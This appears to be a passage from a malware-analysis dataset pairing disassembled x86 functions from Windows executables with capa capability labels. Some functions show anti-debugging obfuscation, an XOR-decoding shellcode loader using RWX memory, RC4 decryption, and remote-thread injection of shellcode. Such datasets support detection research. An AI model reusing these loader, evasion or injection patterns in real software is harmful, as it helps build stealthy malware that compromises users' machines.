joyce8/EMBER2024-capa huggingface dataset:
Function at 0x139fbf6
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg word [esp + 0xf], si
mov dword [esp + 9], edx
lea edx, reloc.kernel32.dll_GetProcAddress
push dword [esp + 0x14]
mov bp, word [esp + 0xc]
jmp 0x139fbcc

Function at 0x139fce0
Capabilities:
Execute anti-debugging instructions

Disassembly:
stc
cpuid
bsf ecx, esp
lea edx, [esp + eax]
jmp 0x139fcef
pop eax
xchg ah, cl
rol cx, 2
bts ecx, edx
std
mov si, dx
jmp 0x139fd15

Function at 0x13a023f
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg bx, ax
mov eax, 0x76d5bf4e
mov edi, 0x8c4bbe9a
or di, 0x6951
rdtsc
bsr ebp, edi
jmp 0x13a0170
lea esi, reloc.kernel32.dll_GetProcAddress
btr eax, ebp
lea esp, [esp + 0x10]
setl dh
push word [esp + 8]
jmp 0x13a00e3
lea esp, [esp + 0xb]
mov ah, ch
sete dl
rdtsc
mov bh, ch
mov si, 0x16b7
jmp 0x13a009e
push word [esp + 0x20]
mov esi, esp
pop dword [esp + 0xa]
xchg ah, bl
lea ebx, [eax + edx]
jmp 0x13a0134
btr dx, cx
xchg dx, bx
setb dh
pop dword [esp + 0x12]
mov di, sp
sub esp, 0x1a
jmp 0x13a00cd
push word [esp + 0x14]
xchg word [esp + 2], bx
mov byte [esp + 0xf], al
std
sub esp, 0x1f
pop dword [esp + 0x21]
jmp 0x13a00ba
cpuid
lea edi, [edi*4]
sub esp, 0x18
btr cx, cx
setge dl
jmp 0x13a0146
cpuid
pushal
lea esp, [esp + 0x50]
lea ebp, [ecx + edx]
lea ebp, [esi + 0xd]
setae bl
jmp 0x13a0119
xchg byte [esp + 0xe], dl
mov bx, 0x8348
mov edi, dword [esp + 5]
sete bh
cpuid
neg ax
jmp 0x13a01ad
mov ah, al
pop word [esp + 1]
pushfd
cpuid
cpuid
xchg si, bp
jmp 0x13a0101
push word [esp + 6]
rdtsc
add esp, 4
xchg bx, si
cpuid
xchg dword [esp + 6], esi
jmp 0x13a01d7
xchg cx, bx
rdtsc
xchg cl, al
add esp, 3
mov word [esp + 1], bx
jmp 0x13a01c1
pop cx
xchg dword [esp + 8], ecx
mov ah, byte [esp + 0xa]
cld
mov dword [esp + 2], ecx
lea ecx, [eax + esi]
jmp 0x13a0181
mov dh, byte [esp]
pushal
sub esp, 0
popal
xchg bx, ax
sub esp, 7
jmp 0x13a0202
mov ah, byte [esp + 0xc]
cmc
cmp bh, 0x17
mov ebx, dword [esp + 6]
add esp, 0xc
mov byte [esp + 5], cl
jmp 0x13a0196
mov dword [esp + 6], ebp
not bp
call fcn.013a01ec
lea edx, [edx + edi]
mov edx, dword [esp + 7]
bswap edi
lea ebx, [ecx + edx]
jmp 0x13a026a
bsr edi, esp
xchg word [esp + 9], bp
stc
mov ebp, dword [esp + 0x11]
bsr ebp, esp
jmp 0x13a0070
mov ecx, 0x934488c1
push dword [esp + 1]
lea edi, reloc.kernel32.dll_GetProcAddress
jmp 0x13a0296
pop word [esp + 9]
lea edx, reloc.kernel32.dll_GetProcAddress
mov di, ax
push dword [esp]
stc
pop bp
jmp 0x13a0254
not cl
pop bp
neg ebp
xchg word [esp + 8], bx
cpuid
cld
jmp 0x13a02c1
xchg ebx, ebp
mov ecx, 0x33e53baf
xchg byte [esp + 1], cl
dec bl
cpuid
bsf ax, di
jmp 0x13a0280
xchg dword [esp + 1], edx
xchg byte [esp + 2], cl
pop cx
pop dword [esp + 3]
jmp 0x13a0316
lea ecx, [edi - 1]
lea ebx, [ebx + ebx]
neg edx
not si
lea esp, [esp + 4]
and dl, 0xa3
jmp 0x13a02ab
mov ax, 0xae00
mov ecx, dword [esp]
call fcn.013a02ec
Function at 0x13a02dc
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg cx, bx
inc al
pop dword [esp + 4]
rol ax, 0xb
std
jmp 0x13a0036
xchg edi, eax
sub esp, 0x1d
cld
add cl, 0xac
mov eax, esp
mov bx, cx
jmp 0x139ffef
mov ebx, dword [esp]
xchg bx, dx
lea ebx, [edx + edi]
not ebx
bswap edx
xchg byte [esp], al
jmp 0x13a0005
pop dword [esp + 8]
mov byte [esp + 3], bl
bswap edi
pop edx
rdtsc
lea ebx, [ecx + edx]
jmp 0x13a0069
not cl
mov bh, dh
neg ebp
mov esi, 0xb8e29fa5
cmc
mov ecx, esi
jmp 0x13a0024
cpuid
call fcn.013a023f
bswap edi
rdtsc
lea esp, [esp + 4]
std
xchg byte [esp], ah
not esi
jmp 0x13a0059
mov byte [esp + 2], ch
xchg cx, ax
xchg word [esp + 2], ax
jmp 0x13a008e

Function at 0x13a03c0
Capabilities:
Execute anti-debugging instructions

Disassembly:
cpuid
xchg bl, cl
and cx, bx
mov dx, word [esp + 0x19]
rdtsc
push word [esp + 0x10]
jmp 0x13a0354
mov dx, 0xe424
lea eax, [ecx + edx]
push word [esp + 0x18]
xchg word [esp + 0x12], bp
pop dword [esp + 6]
std
jmp 0x13a036a
xor eax, ebx
jmp 0x13a038e

Function at 0x13a078b
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg word [esp + 3], dx
mov dl, byte [esp + 0xa]
jmp 0x13a07c2
sub al, al
rdtsc
xchg dword [esp + 5], ebx
mov di, bx
or dx, si
pop si
jmp 0x13a081a
rdtsc
mov byte [esp + 1], ch
xchg dx, si
push dword [esp + 2]
mov edx, 0xfab4a275
mov si, 0xbd55
jmp 0x13a07ac
not ch
xor ecx, 0x7e2966cf
not edx
mov dword [esp + 5], ebx
jmp 0x13a0833
mov ebp, dword [esp]
bswap eax
lea ecx, [eax + esi]
lea ecx, reloc.kernel32.dll_GetProcAddress
mov ax, word [esp + 0xb]
btr di, bx
jmp 0x13a0804
bts ebx, esp
pop dword [esp + 1]
bsf ax, sp
add esp, 2
sub esp, 0x19
popal
jmp 0x13a091d
xchg word [esp + 3], dx
shl bx, cl
xchg byte [esp + 5], cl
add esp, 0
xchg word [esp + 9], cx
dec ch
jmp 0x13a08bc
pushal
pop edx
pop esi
setle dh
xor dl, bh
mov ah, bh
jmp 0x13a0879
bts ebx, edx
lea edx, [edi + ebp]
sub esp, 0x11
neg di
mov byte [esp + 0x20], ch
jmp 0x13a0902
mov dl, dh
bswap eax
mov edx, dword [esp + 0xb]
mov ch, 0xb9
mov cx, sp
std
jmp 0x13a08a6
mov dx, bp
stc
mov si, 0x1958
xchg ch, ah
bsf ax, bx
mov ebp, dword [esp]
jmp 0x13a089a
pushal
lea esp, [esp + 0x4d]
bsf di, cx
mov ebx, eax
rcr ecx, cl
mov dh, bl
jmp 0x13a0947
rdtsc
push dword [esp + 0x1c]
mov ebx, 0x290eeca5
setb al
bsf di, di
xchg ah, bh
jmp 0x13a08ec
lea eax, [edi*4]
cmp al, ch
bsf eax, edi
std
not bl
bsf eax, ebp
jmp 0x13a08d9
not eax
xchg ecx, eax
call fcn.013a097c
mov esi, 0x46cbac3e
cmpsd dword [esi], dword es:[edi]
mov word [ebx], ss
and esi, 0x15
int1
push ss
and dword [esi - 9], 0x66c80fda
mov ebx, 0x66fd10e2
not ebp
neg dx
bswap eax
mov bx, 0x10e2
std
not bp
lea ebp, reloc.kernel32.dll_GetProcAddress
jmp 0x13a0931

Function at 0x13a279e
Capabilities:
Access peb ldr_data

Disassembly:
mov dword [esp + 0x1c], edi
lea esp, [esp + 0x1c]
mov dword [esp + 0x1c], esi
pushal
lea esp, [esp + 0x11]
lea esp, [esp + 9]
lea esp, [esp + 2]
jmp 0x13a276f
pop word [esp + 2]
lea esp, [esp + 2]
mov dword [esp + 0x20], ebp
jmp 0x13a2785
Function at 0x401996
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
test ebx, ebx
sete dl
cmp dword [ebp + 8], 0
sete al
mov ecx, 0
or dl, al
jne 0x401ada
lea ecx, [edi*4 + 0xb]
mov edx, 0x2aaaaaab
mov eax, ecx
imul edx
sar edx, 1
mov eax, ecx
sar eax, 0x1f
sub edx, eax
lea edx, [edx*4 + 1]
cmp edx, dword [ebp + 0x14]
jle 0x401a3d
mov dword [esp], 0x6f
call sub.KERNEL32.DLL_SetLastError
sub esp, 4
mov ecx, 0
jmp 0x401ada
movzx eax, byte [ecx]
and eax, 3
shl eax, 4
movzx eax, byte [eax + section.3368lxgs]
mov byte [ebx + 1], al
mov byte [ebx + 2], 0x3d
mov byte [ebx + 3], 0x3d
add ebx, 4
jmp 0x401ad2
movzx eax, byte [ecx + 1]
and eax, 0xf
movzx eax, byte [eax*4 + section.3368lxgs]
mov byte [ebx + 2], al
mov byte [ebx + 3], 0x3d
add ebx, 4
jmp 0x401ad2
mov esi, 0
mov ecx, dword [ebp + 8]
cmp esi, edi
jge 0x401ad2
movzx eax, byte [ecx]
shr al, 2
movzx eax, al
movzx eax, byte [eax + section.3368lxgs]
mov byte [ebx], al
mov eax, edi
sub eax, esi
cmp eax, 1
je 0x4019fc
movzx edx, byte [ecx]
and edx, 3
shl edx, 4
movzx eax, byte [ecx + 1]
shr al, 4
movzx eax, al
or edx, eax
movzx eax, byte [edx + section.3368lxgs]
mov byte [ebx + 1], al
mov eax, edi
sub eax, esi
cmp eax, 2
je 0x401a1f
movzx edx, byte [ecx + 1]
and edx, 0xf
shl edx, 2
movzx eax, byte [ecx + 2]
shr al, 6
movzx eax, al
or edx, eax
movzx eax, byte [edx + section.3368lxgs]
mov byte [ebx + 2], al
movzx eax, byte [ecx + 2]
and eax, 0x3f
movzx eax, byte [eax + section.3368lxgs]
mov byte [ebx + 3], al
add esi, 3
add ecx, 3
add ebx, 4
cmp esi, edi
jl 0x401a4d
mov byte [ebx], 0
mov ecx, 1
mov eax, ecx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x401b7e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov ebx, 0
mov dword [esp], 0
call sub.msvcrt.dll_malloc
mov esi, eax
mov dword [esp + 4], 0x40e000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov edi, eax
mov eax, 0
test edi, edi
je 0x401c23
jmp 0x401bc1
mov eax, 0
jmp 0x401c23
test byte [edi + 0xc], 0x10
jne 0x401c00
inc ebx
mov dword [esp + 4], ebx
mov dword [esp], esi
call sub.msvcrt.dll_realloc
mov esi, eax
test eax, eax
je 0x401bba
mov dword [esp + 0xc], edi
mov dword [esp + 8], 1
mov dword [esp + 4], 1
lea eax, [eax + ebx - 1]
mov dword [esp], eax
call sub.msvcrt.dll_fread
test byte [edi + 0xc], 0x10
je 0x401bc7
lea eax, [ebx - 1]
mov dword [esp + 4], eax
mov dword [esp], esi
call fcn.00401b44
mov ebx, eax
mov dword [esp], esi
call sub.msvcrt.dll_free
mov dword [esp], edi
call sub.msvcrt.dll_fclose
mov eax, ebx
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x1000e1bc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x1000e1cb
pop dword [ebp - 4]
mov eax, 0x2ff84e1b
add eax, 0xe00893b0
sub dword [ebp - 4], eax
push 0x40
push 0x1000
push 0x3a21d
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 4]
call dword [eax]
mov ecx, 0x4c81
xor ebx, ebx
add ebx, eax
mov esi, 0x2a1e99c
sub esi, 0xf2a0639c
add esi, dword [ebp - 4]
mov edx, 0x1527cd9
add edx, 0x2a9718f0
mov edi, dword [esi]
xor edi, edx
mov dword [ebx], edi
add ebx, 0x6fee1460
sub ebx, 0x6fee145c
add esi, 4
loop 0x1000e221
add eax, 0xfe455645
sub eax, 0xfe44316e
mov ebx, eax
add eax, 0x90c59a73
sub eax, 0x90c59a6e
mov ecx, 0x10000000
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x401c27
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x220
mov eax, dword [0x469d00]
xor eax, esp
mov dword [esp + 0x21c], eax
mov eax, dword [esp + 0x224]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x238]
xor ebp, ebp
push edi
mov dword [esp + 0x28], eax
mov ecx, ebp
mov ebx, 0x100
mov eax, ecx
mov byte [esp + ecx + 0x2c], cl
cdq
idiv dword [esp + 0x240]
mov al, byte [edx + esi]
mov byte [esp + ecx + 0x12c], al
inc ecx
cmp ecx, ebx
jl 0x401c5a
mov esi, ebp
mov edi, ebp
mov dl, byte [esp + esi + 0x2c]
movzx eax, byte [esp + esi + 0x12c]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x401c9e
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [esp + edi + 0x2c]
mov byte [esp + esi + 0x2c], al
inc esi
mov byte [esp + edi + 0x2c], dl
cmp esi, ebx
jl 0x401c7b
mov ecx, ebp
mov edx, ebp
mov edi, ebp
cmp dword [esp + 0x238], ecx
jle 0x401d9d
mov dword [esp + 0x24], ebp
inc ecx
and ecx, 0x800000ff
jns 0x401cd7
dec ecx
or ecx, 0xffffff00
inc ecx
mov bl, byte [esp + ecx + 0x2c]
movzx esi, bl
add edx, esi
mov dword [esp + 0x1c], ecx
and edx, 0x800000ff
jns 0x401cf4
dec edx
or edx, 0xffffff00
inc edx
lea eax, [esp + 0x24]
mov dword [esp + 0x20], edx
push eax
push ebp
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], ebp
call fcn.004013ee
mov eax, dword [esp + 0x14]
mov ebp, dword [esp + 0x10]
sub eax, ebp
sar eax, 2
mov eax, dword [ebp + eax*4 - 4]
add eax, 0x41c300
push eax
push 0x46ab88
call fcn.004010d0
mov edx, dword [esp + 0x28]
pop ecx
pop ecx
mov ecx, dword [esp + 0x1c]
mov al, byte [esp + edx + 0x2c]
mov byte [esp + ecx + 0x2c], al
mov byte [esp + edx + 0x2c], bl
movzx eax, byte [esp + ecx + 0x2c]
mov ebx, dword [esp + 0x28]
add eax, esi
movzx eax, al
mov al, byte [esp + eax + 0x2c]
xor byte [ebx + edi], al
test ebp, ebp
je 0x401d8d
mov eax, dword [esp + 0x18]
sub eax, ebp
and eax, 0xfffffffc
push eax
push ebp
call fcn.004013c2
mov edx, dword [esp + 0x28]
xor ebp, ebp
pop ecx
pop ecx
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x10], ebp
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], ebp
jmp 0x401d8f
xor ebp, ebp
inc edi
cmp edi, dword [esp + 0x238]
jl 0x401cc6
mov ecx, dword [esp + 0x22c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00404afb
add esp, 0x220
ret

Function at 0x4020fc
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
xor ecx, ecx
cmp dword [esp + 8], ecx
jbe 0x402127
mov al, byte [edx + ecx]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [edx + ecx], al
inc ecx
cmp ecx, dword [esp + 8]
jb 0x402108
ret
Function at 0x40230a
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x469d00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [ebp - 0x1c]
call fcn.00401648
push 0xc
call fcn.00404abd
pop ecx
test eax, eax
je 0x402343
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.004016a1
jmp 0x402345
xor eax, eax
mov esi, dword [eax + 4]
shl esi, 2
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
lea eax, [ebp - 0x20]
mov ebx, 0x4ac
mov edi, 0x469820
sub esi, 0x40
push eax
push 0x40
push ebx
push edi
push 0xffffffffffffffff
mov dword [ebp - 0x20], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ebx
push edi
mov dword [ebp - 0x24], esi
call fcn.004020fc
push 0x1b
push section..data
push 0x43800
mov esi, 0x426020
push esi
call fcn.00401c27
add esp, 0x18
lea eax, [ebp - 0x24]
push eax
xor eax, eax
push eax
push esi
push 0x4699a8
push eax
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CreateCaret]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
push 0xfc11
call dword [sym.imp.USER32.dll_ShowWindowAsync]
call dword [sym.imp.USER32.dll_InSendMessageEx]
push 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
lea ecx, [ebp - 0x1c]
call fcn.00401fb0
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404afb
leave
ret
Function at 0x403a00
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x403a21
jl 0x403a18
test edi, edi
jne 0x403a21
xor eax, eax
xor edx, edx
jmp 0x403ae2
cmp dword [ebx + 0x38], 0
je 0x403a36
push eax
push edi
push dword [ebp + 8]
call fcn.00403ae8
jmp 0x403ae2
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x403a7d
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x403a7d
cmp eax, edi
jb 0x403a57
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.00405620
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x403a83
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x403ad7
mov ecx, ebx
call fcn.00403129
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x403ac2
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0040a952
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x403ad7
jmp 0x403a95
test edx, edx
je 0x403ad7
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0040a952
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x405270
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4052af
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4052af
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4052af
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4052af
cmp dword [ecx + 0x74], 0xe
jbe 0x4052af
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40fad6
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41f3d8
push 0x41f3d0
push str.FlsAlloc
push 0x1e
call fcn.0040f943
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40fb0a
push dword [ebp + 8]
mov ecx, esi
call dword [0x41c15c]
call esi
jmp 0x40fb10
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40fb54
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41f3e8
push 0x41f3e0
push str.FlsGetValue
push 0x20
call fcn.0040f943
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40fb8b
push dword [ebp + 8]
mov ecx, esi
call dword [0x41c15c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x4110a3
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00410f14

Function at 0x41149d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.004055f0
mov eax, dword [0x469d00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00410109
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4114df
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41163b
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0041b330
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x46b620]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00412494
mov ecx, dword [esi*4 + 0x46b620]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x411634
cmp eax, dword [edi + ecx + 0x24]
jne 0x411634
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411634
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00412494
add esp, 0x14
test edx, edx
jl 0x411634
jg 0x4115aa
test eax, eax
jb 0x411634
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x411634
jl 0x4115c4
cmp dword [ebp - 0x1008], eax
ja 0x411634
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4115e2
test ebx, ebx
je 0x41161b
cmp ecx, edi
jae 0x41161b
mov al, byte [ecx]
cmp al, 0xd
jne 0x4115fc
lea eax, [edi - 1]
cmp ecx, eax
jae 0x411608
cmp byte [ecx + 1], 0xa
jne 0x411608
inc ecx
jmp 0x411608
movzx eax, al
movsx eax, byte [eax + 0x469fb8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4115e2
cmp edx, ebx
jne 0x4115e2
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x411639
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00404afb
leave
ret
Function at 0x411932
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x46b620]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x411972
cmp byte [ebx], 0xa
jne 0x411972
or byte [eax + edi + 0x28], 4
jmp 0x411977
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x411a75
mov al, byte [edx]
cmp al, 0x1a
je 0x411a57
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x4119a6
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x4119cb
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x4119d5
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x411988
jmp 0x411a75
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411a52
cmp dword [ebp - 0xc], 0
je 0x411a52
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x46b620]
test byte [eax + edi + 0x28], 0x48
je 0x411a2c
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x411a17
mov byte [esi], dl
jmp 0x411a28
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x46b620]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x411a75
cmp byte [ebp - 1], 0xa
jne 0x411a3b
cmp esi, ebx
jne 0x411a3b
mov byte [esi], 0xa
jmp 0x411a74
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004124b2
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x411a75
mov byte [esi], 0xd
jmp 0x411a74
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x46b620]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x411a71
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x411a75
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x411a7e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x46b620]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x411ac1
cmp word [esi], dx
jne 0x411ac1
or byte [edi + eax + 0x28], 4
jmp 0x411ac6
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x411c19
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x411bf9
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x411b08
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x411b3e
cmp eax, edx
jae 0x411b4a
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x411ae0
jmp 0x411c19
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411bf5
cmp dword [ebp - 0x14], 0
je 0x411bf5
mov eax, dword [ebx*4 + 0x46b620]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x411bcd
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x411b96
mov word [esi], cx
jmp 0x411bc9
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x46b620]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x46b620]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x46b620]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x411c19
pop ebx
cmp word [ebp - 4], bx
jne 0x411bde
cmp esi, dword [ebp + 0xc]
jne 0x411bde
mov word [esi], bx
jmp 0x411c16
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004124b2
add esp, 0x10
